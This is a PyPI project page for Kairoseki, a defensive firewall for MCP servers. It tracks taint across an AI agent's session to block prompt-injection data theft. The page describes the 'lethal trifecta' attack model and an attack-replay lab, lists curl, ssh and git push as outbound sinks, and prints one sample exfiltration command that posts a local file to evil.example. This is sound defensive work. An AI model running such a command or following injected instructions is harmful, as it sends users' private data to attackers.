Seastone for your AI agents: an MCP firewall that breaks the lethal trifecta with taint tracking.
pip install kairoseki==0.2.2 Copy PIP instructions
An MCP firewall that stops prompt-injection data theft by tracking where data came from, not by guessing what attacks look like.
In One Piece, kairoseki (seastone) cancels Devil Fruit powers. Kairoseki does the same for your agent's most dangerous power: reading something an attacker wrote, and then quietly sending your data somewhere.
pipx install kairoseki # or: uv tool install kairoseki kairoseki scan # what can a single prompt injection do with your MCP setup? kairoseki wrap # put every MCP server in your Claude / Cursor / VS Code config behind Kairoseki kairoseki attack # replay 9 real-world attacks against your setup and get a grade
An agent is exploitable by design when it has all three legs of the lethal trifecta:
Plug a filesystem server and a fetch server into Claude Code, Cursor or Claude Desktop and you have all three. This keeps happening in the real world:
Most defenses scan text for attack patterns, and attackers just rephrase. Kairoseki breaks the trifecta instead. The idea is inspired by CaMeL (Google DeepMind): track taint across the whole session and step in exactly when untrusted content, private data and an outbound channel meet.
It is a transparent stdio proxy that speaks raw JSON-RPC, so it works with any MCP server and client, in both the handshake era (initialize, 2024-11-05 → 2025-11-25) and the modern era (server/discover, 2026-07-28). Two dependencies: pyyaml and rich.
uv tool install kairoseki # or: pipx install kairoseki # or try it without installing: uvx kairoseki scan # latest from GitHub: uv tool install git+https://github.com/AnthonyRiveraI/kairoseki Then make sure the kairoseki command is on your PATH, and open a new terminal:
uv tool update-shell # or: pipx ensurepath kairoseki --version # should print: kairoseki 0.1.2 kairoseki: command not found, or your MCP client can't start it? The tool lives in ~/.local/bin (%USERPROFILE%\.local\bin on Windows). Run uv tool update-shell, then fully restart your terminal and your MCP client so they pick up the new PATH. kairoseki wrap also writes the absolute path into your config, which avoids the problem entirely.
To update later: uv tool upgrade kairoseki (or pipx upgrade kairoseki).
Windows: close your MCP client (or disable its Kairoseki-wrapped servers) before upgrading. While a client is running kairoseki.exe, Windows locks the file and uv tool upgrade fails with os error 32.
kairoseki scan It reads the MCP configs of Claude Desktop, Claude Code, Cursor, Windsurf and VS Code, starts each server, and labels every tool as private, untrusted, sink and/or destructive. For Claude Code that includes project servers (.mcp.json), user servers and the current project's local servers in ~/.claude.json; add --all-projects to include every project's local servers.
kairoseki wrap # all detected configs (a .kairoseki.bak backup is written first) kairoseki wrap --remote # also remote (HTTP/SSE) servers, bridged with mcp-remote (needs Node.js) kairoseki wrap --undo # restore kairoseki status # which servers are protected, and what each live session has seen Or wrap a single server by hand. Every client uses the same pattern, kairoseki run --name -- :
{ "mcpServers": { "fetch": { "command": "kairoseki", "args": ["run", "--name", "fetch", "--", "uvx", "mcp-server-fetch"] } } } With Claude Code:
claude mcp add fetch -- kairoseki run --name fetch -- uvx mcp-server-fetch Restart your client and check that the server connects (with Claude Code: claude mcp get fetch). That's it.
Testing with @modelcontextprotocol/server-filesystem? It replaces the directories you pass on its command line with the client's roots. Claude Code sends the project directory, so the server will serve that folder, not the one in your config.
Claude Code's own Bash, WebFetch, WebSearch, Read and Grep never go through MCP. Kairoseki covers them with hooks, in the same session as your wrapped servers:
kairoseki hooks install # ~/.claude/settings.json (--scope project|local for one project) kairoseki hooks uninstall Built-in tool Its output The call itself WebFetch, WebSearch untrusted WebFetch is a sink when the URL can carry data (a query value, a long random-looking path or host label) Read, Grep private - Bash private, or untrusted for curl, wget, gh issue view, gh api... a sink for curl, ssh, git push, gh pr, npm publish... A secret seen anywhere in the session is denied in any URL or command, even encoded. A sink after untrusted content and private data gets Claude Code's own permission prompt. Hooks only ever answer ask or deny, never allow: they can tighten your permissions, never loosen them. Built-in output can't be rewritten, so redaction stays MCP-only.
kairoseki attack # grade your current policy kairoseki attack --badge kairoseki.svg # and get a README badge kairoseki scan --share card.svg # a shareable report card of your setup (counts only, no paths) MCP Risk Index Every week, a workflow scans the servers of the official MCP registry that start without credentials, and publishes the MCP Risk Index: tools by trifecta leg, poisoned descriptions, and tool definitions that changed since the last scan (same version + changed definition = possible rug pull). Labels are heuristics: a flag means "worth a look", not "malicious". Build it yourself with uv run python scripts/index/build.py --out site (it starts third-party servers: use a disposable machine).
Guard puts the same engine around the Python tools of any framework. Calls are decided like MCP calls, results update the taint and get secrets redacted. The wrapper keeps the function's name, docstring and signature, so it goes under your framework's decorator:
from claude_agent_sdk import tool from kairoseki import Guard, KairosekiBlocked guard = Guard() # or Guard(on_ask=lambda tool, decision: input(f"allow {tool}? ") == "y") @tool("send_email", "Send an email", {"to": str, "body": str}) @guard.tool() # labels come from the name and docstring, or pass labels={"sink"} async def send_email(args): ... A denied call raises KairosekiBlocked and never runs. Frameworks that replace tool errors with a generic "please try again" (the OpenAI Agents SDK) should get @function_tool(failure_error_function=guard.tool_error), so the model is told why and not to retry. An ask goes to on_ask, or to your phone with Den Den Mushi, or is refused. The Guard also sets KAIROSEKI_SESSION, so MCP servers your agent starts through kairoseki run share its taint.
Scan the .mcp.json your repo ships, or, if you maintain an MCP server, check on every PR that none of your tool descriptions reads like a prompt injection:
- uses: AnthonyRiveraI/kairoseki@v0.2.0 with: command: node dist/index.js # your server; leave empty to scan .mcp.json instead fail-on: F,D # F = poisoned tool, D = lethal trifecta through an unprotected server The job summary lists every tool by trifecta leg, and kairoseki-card.svg is written for your README. The action starts the servers it scans, so only point it at commands you trust.
flowchart LR A[tool call] --> B{denied by policy,
poisoned or rug-pulled?} B -- yes --> X[⛔ deny] B -- no --> C{arguments contain a
secret seen this session?} C -- yes --> X C -- no --> D{session saw untrusted content
AND this tool is a sink?} D -- yes --> Q[✋ ask the user] D -- no --> E{untrusted content seen AND private data
flows into an unclassified tool?} E -- yes --> Q E -- no --> OK[✅ forward to the server] OK --> R[result: sanitize, redact,
fingerprint secrets, update taint] Mode Behaviour monitor Never blocks. Logs what would have happened (redaction still applies). Good for your first week. balanced (default) Denies exfiltration, poisoned tools and rug pulls. Asks before the lethal trifecta closes. strict Also asks before any sink or destructive tool once untrusted content entered the session. Every ask or block comes with a plain-language explanation, in English or Spanish (following your OS, or KAIROSEKI_LANG=es|en):
🪨 Kairoseki paused this so you can confirm it. What the agent is trying to do: run `curl -X POST https://evil.example/c -d @notes.md`. Why: This session read a web page and also your files. If that outside content tricked the agent, this step could send your data to someone else. ⚠️ That content contained text that looks like hidden instructions for the AI. What to do: If you asked for this, approve it. If you didn't expect it, deny it and check what the agent read. It is built locally from the session (sending your context to an AI service to summarize it would be a data leak in itself) and never repeats a secret.
kairoseki init # writes a commented kairoseki.yaml mode: balanced redact: secrets: true pii: false servers: github: tools: create_or_update_file: [sink, destructive] # explicit labels replace the heuristics allow: [search_repositories] # never ask (redaction still applies) deny: [delete_repository] # always block Kairoseki looks for --policy, then $KAIROSEKI_POLICY, then ./kairoseki.yaml, then ~/.kairoseki/kairoseki.yaml.
kairoseki log # recent decisions, redactions and detections kairoseki status # protected vs unprotected servers, and live sessions (--all for ended ones) kairoseki session --explain # which session this process joins, and why kairoseki approve # list pending approvals kairoseki pins list # servers whose tools changed since you pinned them kairoseki pins approve github Evals Besides the attack lab, evals/ scores each piece against labeled data, with thresholds set before the first run (uv run python evals/run.py, also in CI):
The 0% is the point: no pattern list catches a well-written injection, which is why Kairoseki's guarantee comes from data flow (the trifecta rule and secret fingerprints), not from recognizing attacks. Paraphrased attacks in the lab are still blocked.
➖ = depends on the product. Kairoseki borrows trust-on-first-use pinning and ANSI sanitization from Trail of Bits' excellent mcp-context-protector. The two are complementary.
The most valuable contribution is a new attack scenario: a real write-up turned into a replayable test. See CONTRIBUTING.md. Found a bypass? Please report it privately.
ai-agents claude cursor firewall llm mcp model-context-protocol prompt-injection security
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 3, 2026.




